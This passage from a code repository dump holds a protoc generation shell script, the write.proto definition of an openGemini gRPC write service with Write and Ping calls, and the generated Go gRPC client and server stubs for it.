11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | #!/bin/bash
16 |
17 | # Get the base name of current directory
18 | current_dir=$(basename "$(pwd)")
19 |
20 | # Determine proto files path based on current directory
21 | if [ "$current_dir" = "proto" ]; then
22 | PROTO_FILES="*.proto"
23 | else
24 | PROTO_FILES="proto/*.proto"
25 | fi
26 |
27 | # Use universal path separator to ensure cross-platform compatibility
28 | protoc --go_out=. --go_opt=paths=source_relative \
29 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
30 | $PROTO_FILES
31 |
32 | # Check command execution status
33 | if [ $? -eq 0 ]; then
34 | echo "Proto files generated successfully"
35 | else
36 | echo "Error generating proto files"
37 | exit 1
38 | fi
39 |
--------------------------------------------------------------------------------
/proto/write.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 | package proto;
3 | option go_package = "./proto";
4 |
5 | // WriteService represents a openGemini RPC write service.
6 | service WriteService {
7 | // Write writes the given records to the specified database and retention policy.
8 | rpc Write (WriteRequest) returns (WriteResponse) {}
9 | // Ping is used to check if the server is alive
10 | rpc Ping(PingRequest) returns (PingResponse) {}
11 | }
12 |
13 | message WriteRequest {
14 | uint32 version = 1;
15 | string database = 2;
16 | string retention_policy = 3;
17 | string username = 4;
18 | string password = 5;
19 | repeated Record records = 6;
20 | }
21 |
22 | message WriteResponse {
23 | ResponseCode code = 1;
24 | }
25 |
26 | message Record {
27 | string measurement = 1;
28 | int64 min_time = 2;
29 | int64 max_time = 3;
30 | CompressMethod compress_method = 4;
31 | bytes block = 5;
32 | }
33 |
34 | enum CompressMethod {
35 | UNCOMPRESSED = 0;
36 | LZ4_FAST = 1;
37 | ZSTD_FAST = 2;
38 | SNAPPY = 3;
39 | }
40 |
41 | enum ResponseCode {
42 | Success = 0;
43 | Partial = 1;
44 | Failed = 2;
45 | }
46 |
47 | message PingRequest {
48 | string client_id = 1;
49 | }
50 |
51 | enum ServerStatus {
52 | Up = 0;
53 | Down = 1;
54 | Unknown = 99;
55 | }
56 |
57 | message PingResponse {
58 | ServerStatus status = 1;
59 | }
60 |
--------------------------------------------------------------------------------
/proto/write_grpc.pb.go:
--------------------------------------------------------------------------------
1 | // Code generated by protoc-gen-go-grpc. DO NOT EDIT.
2 | // versions:
3 | // - protoc-gen-go-grpc v1.5.1
4 | // - protoc v3.19.6
5 | // source: write.proto
6 |
7 | package proto
8 |
9 | import (
10 | context "context"
11 | grpc "google.golang.org/grpc"
12 | codes "google.golang.org/grpc/codes"
13 | status "google.golang.org/grpc/status"
14 | )
15 |
16 | // This is a compile-time assertion to ensure that this generated file
17 | // is compatible with the grpc package it is being compiled against.
18 | // Requires gRPC-Go v1.64.0 or later.
19 | const _ = grpc.SupportPackageIsVersion9
20 |
21 | const (
22 | WriteService_Write_FullMethodName = "/proto.WriteService/Write"
23 | WriteService_Ping_FullMethodName = "/proto.WriteService/Ping"
24 | )
25 |
26 | // WriteServiceClient is the client API for WriteService service.
27 | //
28 | // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.
29 | //
30 | // WriteService represents a openGemini RPC write service.
31 | type WriteServiceClient interface {
32 | // Write writes the given records to the specified database and retention policy.
33 | Write(ctx context.Context, in *WriteRequest, opts ...grpc.CallOption) (*WriteResponse, error)
34 | // Ping is used to check if the server is alive
35 | Ping(ctx context.Context, in *PingRequest, opts ...grpc.CallOption) (*PingResponse, error)
36 | }
37 |
38 | type writeServiceClient struct {
39 | cc grpc.ClientConnInterface
40 | }
41 |
42 | func NewWriteServiceClient(cc grpc.ClientConnInterface) WriteServiceClient {
43 | return &writeServiceClient{cc}
44 | }
45 |
46 | func (c *writeServiceClient) Write(ctx context.Context, in *WriteRequest, opts ...grpc.CallOption) (*WriteResponse, error) {
47 | cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...)
48 | out := new(WriteResponse)
49 | err := c.cc.Invoke(ctx, WriteService_Write_FullMethodName, in, out, cOpts...)
50 | if err != nil {
51 | return nil, err
52 | }
53 | return out, nil
54 | }
55 |
56 | func (c *writeServiceClient) Ping(ctx context.Context, in *PingRequest, opts ...grpc.CallOption) (*PingResponse, error) {
57 | cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...)
58 | out := new(PingResponse)
59 | err := c.cc.Invoke(ctx, WriteService_Ping_FullMethodName, in, out, cOpts...)
60 | if err != nil {
61 | return nil, err
62 | }
63 | return out, nil
64 | }
65 |
66 | // WriteServiceServer is the server API for WriteService service.
67 | // All implementations must embed UnimplementedWriteServiceServer
68 | // for forward compatibility.
69 | //
70 | // WriteService represents a openGemini RPC write service.
71 | type WriteServiceServer interface {
72 | // Write writes the given records to the specified database and retention policy.
73 | Write(context.Context, *WriteRequest) (*WriteResponse, error)
74 | // Ping is used to check if the server is alive
75 | Ping(context.Context, *PingRequest) (*PingResponse, error)
76 | mustEmbedUnimplementedWriteServiceServer()
77 | }
78 |
79 | // UnimplementedWriteServiceServer must be embedded to have
80 | // forward compatible implementations.
81 | //
82 | // NOTE: this should be embedded by value instead of pointer to avoid a nil
83 | // pointer dereference when methods are called.
84 | type UnimplementedWriteServiceServer struct{}
85 |
86 | func (UnimplementedWriteServiceServer) Write(context.Context, *WriteRequest) (*WriteResponse, error) {
87 | return nil, status.Errorf(codes.Unimplemented, "method Write not implemented")
88 | }
89 | func (UnimplementedWriteServiceServer) Ping(context.Context, *PingRequest) (*PingResponse, error) {
90 | return nil, status.Errorf(codes.Unimplemented, "method Ping not implemented")
91 | }
92 | func (UnimplementedWriteServiceServer) mustEmbedUnimplementedWriteServiceServer() {}
93 | func (UnimplementedWriteServiceServer) testEmbeddedByValue() {}
94 |
95 | // UnsafeWriteServiceServer may be embedded to opt out of forward compatibility for this service.
96 | // Use of this interface is not recommended, as added methods to WriteServiceServer will
97 | // result in compilation errors.
98 | type UnsafeWriteServiceServer interface {
99 | mustEmbedUnimplementedWriteServiceServer()
100 | }
101 |
102 | func RegisterWriteServiceServer(s grpc.ServiceRegistrar, srv WriteServiceServer) {
103 | // If the following call pancis, it indicates UnimplementedWriteServiceServer was
104 | // embedded by pointer and is nil. This will cause panics if an
105 | // unimplemented method is ever invoked, so we test this at initialization
106 | // time to prevent it from happening at runtime later due to I/O.
107 | if t, ok := srv.(interface{ testEmbeddedByValue() }); ok {
108 | t.testEmbeddedByValue()
109 | }
110 | s.RegisterService(&WriteService_ServiceDesc, srv)
111 | }
112 |
113 | func _WriteService_Write_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
114 | in := new(WriteRequest)
115 | if err := dec(in); err != nil {
116 | return nil, err
117 | }
118 | if interceptor == nil {
119 | return srv.(WriteServiceServer).Write(ctx, in)
120 | }
121 | info := &grpc.UnaryServerInfo{
122 | Server: srv,
123 | FullMethod: WriteService_Write_FullMethodName,
124 | }
125 | handler := func(ctx context.Context, req interface{}) (interface{}, error) {
126 | return srv.(WriteServiceServer).Write(ctx, req.(*WriteRequest))
127 | }
128 | return interceptor(ctx, in, info, handler)
129 | }
130 |
131 | func _WriteService_Ping_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
132 | in := new(PingRequest)
133 | if err := dec(in); err != nil {
134 | return nil, err
135 | }
136 | if interceptor == nil {
137 | return srv.(WriteServiceServer).Ping(ctx, in)
138 | }
139 | info := &grpc.UnaryServerInfo{
140 | Server: srv,
141 | FullMethod: WriteService_Ping_FullMethodName,
142 | }
143 | handler := func(ctx context.Context, req interface{}) (interface{}, error) {
144 | return srv.(WriteServiceServer).Ping(ctx, req.(*PingRequest))
145 | }
146 | return interceptor(ctx, in, info, handler)
147 | }
148 |
149 | // WriteService_ServiceDesc is the grpc.ServiceDesc for WriteService service.
150 | // It's only intended for direct use with grpc.RegisterService,
151 | // and not to be introspected or modified (even as a copy)
152 | var WriteService_ServiceDesc = grpc.ServiceDesc{
153 | ServiceName: "proto.WriteService",
154 | HandlerType: (*WriteServiceServer)(nil),
155 | Methods: []grpc.MethodDesc{
156 | {
157 | MethodName: "Write",
158 | Handler: _WriteService_Write_Handler,
159 | },
160 | {
161 | MethodName: "Ping",
162 | Handler: _WriteService_Ping_Handler,
163 | },
164 | },
165 | Streams: []grpc.StreamDesc{},
166 | Metadata: "write.proto",
167 | }
168 |
--------------------------------------------------------------------------------